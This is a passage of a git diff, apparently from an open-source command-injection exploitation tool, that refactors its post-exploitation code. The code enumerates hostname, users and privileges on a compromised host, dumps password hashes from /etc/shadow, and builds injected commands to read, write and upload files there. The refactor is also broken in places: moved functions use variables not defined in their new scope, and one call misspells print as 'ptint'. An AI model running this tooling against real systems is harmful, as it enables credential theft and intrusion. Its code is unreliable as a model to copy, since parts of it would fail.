default="N", check_batch=True) @@ -429,12 +427,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass else: if menu.enumeration_options(): - _ = True tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False and _ == False: - print(settings.SINGLE_WHITESPACE) - # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ffb04b0018..4d3f1f01fc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1647,13 +1647,527 @@ def generate_char_pool(num_of_chars): char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool +""" +Print powershell version +""" +def print_ps_version(ps_version, filename, _): + try: + if float(ps_version): + settings.PS_ENABLED = True + ps_version = "".join(str(p) for p in ps_version) + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + # Output PowerShell's version number + info_msg = "Powershell version: " + ps_version + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Powershell version: " + ps_version + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + except ValueError: + warn_msg = "Heuristics have failed to identify the version of Powershell, " + warn_msg += "which means that some payloads or injection techniques may be failed." + print(settings.print_warning_msg(warn_msg)) + settings.PS_ENABLED = False + ps_check_failed() + + +""" +Print hostname +""" +def print_hostname(shell, filename, _): + if shell: + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "Heuristics have failed to identify the hostname." + print(settings.print_warning_msg(warn_msg)) + +""" +Print current user info +""" +def print_current_user(cu_account, filename, _): + if cu_account: + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "Heuristics have failed to fetch the current user." + print(settings.print_warning_msg(warn_msg)) + +""" +Print current user privs +""" +def print_current_user_privs(shell, filename, _): + priv = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + priv = "False" + + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + + info_msg = "Current user has excessive privileges: " + str(priv) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + +""" +Print OS info +""" +def print_os_info(target_os, target_arch, filename, _): + if target_os and target_arch: + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "Heuristics have failed to fetch underlying operating system information." + print(settings.print_warning_msg(warn_msg)) + + +""" +Print users enumeration. +""" +def print_users(sys_users, filename, _): + # Windows users enumeration. + if settings.TARGET_OS == "win": + try: + if sys_users[0] : + sys_users = "".join(str(p) for p in sys_users).strip() + sys.stdout.write(settings.SUCCESS_STATUS) + sys_users_list = re.findall(r"(.*)", sys_users) + sys_users_list = "".join(str(p) for p in sys_users_list).strip() + sys_users_list = ' '.join(sys_users_list.split()) + sys_users_list = sys_users_list.split() + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Identified " + str(len(sys_users_list)) + info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + count = 0 + for user in range(0, len(sys_users_list)): + count = count + 1 + if menu.options.privileges: + cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" + if alter_shell: + cmd = cmd.replace("'","\\'") + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) + check_privs = "".join(str(p) for p in check_privs).strip() + check_privs = re.findall(r"(.*)", check_privs) + check_privs = "".join(str(p) for p in check_privs).strip() + check_privs = check_privs.split() + if "Admin" in check_privs[0]: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" + is_privileged_nh = " is admin user " + else: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" + is_privileged_nh = " is regular user " + else : + is_privileged = "" + is_privileged_nh = "" + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + output_file.close() + else: + # print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) + except TypeError: + pass + except IndexError: + # print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) + pass + + # Unix-like users enumeration. + else: + try: + if sys_users[0] : + sys_users = "".join(str(p) for p in sys_users).strip() + if len(sys_users.split(" ")) <= 1 : + sys_users = sys_users.split("\n") + else: + sys_users = sys_users.split(" ") + # Check for appropriate '/etc/passwd' format. + if len(sys_users) % 3 != 0 : + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " + warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) + sys_users = " ".join(str(p) for p in sys_users).strip() + print(sys_users) + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(" " + sys_users) + output_file.close() + else: + sys_users_list = [] + for user in range(0, len(sys_users), 3): + sys_users_list.append(sys_users[user : user + 3]) + if len(sys_users_list) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Identified " + str(len(sys_users_list)) + info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + count = 0 + for user in range(0, len(sys_users_list)): + sys_users = sys_users_list[user] + sys_users = ":".join(str(p) for p in sys_users) + count = count + 1 + fields = sys_users.split(":") + fields1 = "".join(str(p) for p in fields) + # System users privileges enumeration + try: + if not fields[2].startswith("/"): + raise ValueError() + if menu.options.privileges: + if int(fields[1]) == 0: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " + is_privileged_nh = " is root user " + elif int(fields[1]) > 0 and int(fields[1]) < 99 : + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " + is_privileged_nh = " is system user " + elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : + if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " + is_privileged_nh = " is anonymous user " + elif int(fields[1]) == 60002: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " + is_privileged_nh = " is non-trusted user " + else: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " + is_privileged_nh = " is regular user " + else : + is_privileged = "" + is_privileged_nh = "" + else : + is_privileged = "" + is_privileged_nh = "" + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.close() + except ValueError: + if count == 1 : + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " + warn_msg += "appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) + sys_users = " ".join(str(p) for p in sys_users.split(":")) + print(sys_users) + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(" " + sys_users) + output_file.close() + else: + # print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." + ptint(settings.print_warning_msg(warn_msg)) + except TypeError: + pass + except IndexError: + # print(settings.SINGLE_WHITESPACE) + warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) + pass + +""" +Print users enumeration. +""" +def print_passes(sys_passes, filename, _): + if sys_passes == "": + sys_passes = " " + sys_passes = sys_passes.replace(" ", "\n") + sys_passes = sys_passes.split() + if len(sys_passes) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Identified " + str(len(sys_passes)) + info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + output_file.close() + count = 0 + for line in sys_passes: + count = count + 1 + try: + if ":" in line: + fields = line.split(":") + if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.close() + # Check for appropriate '/etc/shadow' format. + except IndexError: + if count == 1 : + warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) + print(fields[0]) + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(" " + fields[0]) + output_file.close() + else: + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." + print(settings.print_warning_msg(warn_msg)) + +""" +Quote provided cmd +""" +def quoted_cmd(cmd): + cmd = "\"" + cmd + "\"" + return cmd + +""" +Find filename +""" +def find_filename(dest_to_write, content): + fname = os.path.basename(dest_to_write) + tmp_fname = "tmp_" + fname + content = quoted_cmd(content) + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname + return fname, tmp_fname, cmd + +""" +Decode base 64 encoding +""" +def win_decode_b64_enc(fname, tmp_fname): + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + " " + fname + return cmd + +""" +Remove command substitution on provided command +""" +def remove_command_substitution(cmd): + cmd = cmd.replace("echo $(","").replace(")","") + return cmd + +""" +Write the file content +""" +def write_content(content, dest_to_write): + content = quoted_cmd(content) + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write + return cmd + +""" +Delete filename +""" +def delete_tmp(tmp_fname): + cmd = settings.WIN_DEL + tmp_fname + return cmd + +""" +Check if file exists. +""" +def check_file(dest_to_upload): + if settings.TARGET_OS == "win": + cmd = settings.FILE_LIST_WIN + dest_to_upload + else: + cmd = "echo $(" + settings.FILE_LIST + dest_to_upload + ")" + return cmd + + +""" +Change directory +""" +def change_dir(dest_to_write): + dest_to_write = dest_to_write.replace("\\","/") + path = os.path.dirname(dest_to_write) + path = path.replace("/","\\") + cmd = "cd " + path + return cmd + +""" +File content to read. +""" +def file_content_to_read(): + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Fetching content of the file: '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + if settings.TARGET_OS == "win": + cmd = settings.WIN_FILE_READ + file_to_read + else: + if settings.EVAL_BASED_STATE: + cmd = "(" + settings.FILE_READ + file_to_read + ")" + else: + cmd = settings.FILE_READ + file_to_read + return cmd, file_to_read + +""" +File read status +""" +def file_read_status(shell, file_to_read, filename): + if shell: + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Extracted content of the file '" + info_msg += file_to_read + "' : " + shell + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + file_to_read + "'." + print(settings.print_warning_msg(warn_msg)) + +""" +Check upload/write destination +""" +def check_destination(destination): + if menu.options.file_write: + where = menu.options.file_write + else: + where = menu.options.file_upload + if os.path.split(destination)[1] == "" : + _ = os.path.split(destination)[0] + "/" + os.path.split(where)[1] + elif os.path.split(destination)[0] == "/": + _ = "/" + os.path.split(destination)[1] + "/" + os.path.split(where)[1] + elif os.path.split(destination)[0] == "\\": + _ = "\\" + os.path.split(destination)[1] + "\\" + os.path.split(where)[1] + else: + _ = destination + return _ + +""" +Write the content of the file +""" +def check_file_to_write(): + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() + if not os.path.exists(file_to_write): + err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if os.path.isfile(file_to_write): + with open(file_to_write, 'r') as content_file: + content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] + content = "".join(str(p) for p in content).replace("'", "\"") + if settings.TARGET_OS == "win": + import base64 + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() + else: + warn_msg = "It seems that '" + file_to_write + "' is not a file." + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) + + dest_to_write = check_destination(destination=menu.options.file_dest) + info_msg = "Trying to write the content of the file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + return file_to_write, dest_to_write, content + +""" +File write status +""" +def file_write_status(shell, dest_to_write): + if shell: + info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." + print(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'." + print(settings.print_warning_msg(warn_msg)) + +""" +File upload procedure. +""" +def check_file_to_upload(): + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() + try: + _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) + except _urllib.error.HTTPError as err_msg: + warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" + print(settings.print_warning_msg(warn_msg)) + raise SystemExit() + except ValueError as err_msg: + err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + dest_to_upload = check_destination(destination=menu.options.file_dest) + info_msg = "Trying to upload the file from '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command + cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload + return cmd, dest_to_upload + +""" +File upload status. +""" +def file_upload_status(shell, dest_to_upload): + if shell: + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." + print(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'." + print(settings.print_warning_msg(warn_msg)) + """ Check if defined "--file-upload" option. """ def file_upload(): if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - if not menu.options.file_dest.endswith("/"): - menu.options.file_dest = menu.options.file_dest + "/" + # if not menu.options.file_dest.endswith("/"): + # menu.options.file_dest = menu.options.file_dest + "/" # Check if not defined URL for upload. while True: message = "Do you want to enable an HTTP server? [Y/n] > " diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index ef5dd22eee..db1786a10b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -31,7 +31,8 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") @@ -48,30 +49,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - checks.ps_check_failed() + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration """ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME @@ -87,24 +71,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - shell = "".join(str(p) for p in shell) - info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) """ Retrieve system information """ -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS @@ -128,7 +101,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") + cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -159,23 +132,13 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os and target_arch: - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration """ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER @@ -191,30 +154,19 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - cu_account = "".join(str(p) for p in cu_account) - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + checks.print_current_user(cu_account, filename, _) """ Check if the current user has excessive privileges. """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") + cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -227,32 +179,21 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + checks.print_current_user_privs(shell, filename, _) """ System users enumeration """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - # else: - # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" + else: + settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = "cmd /c " + cmd @@ -268,240 +209,27 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = 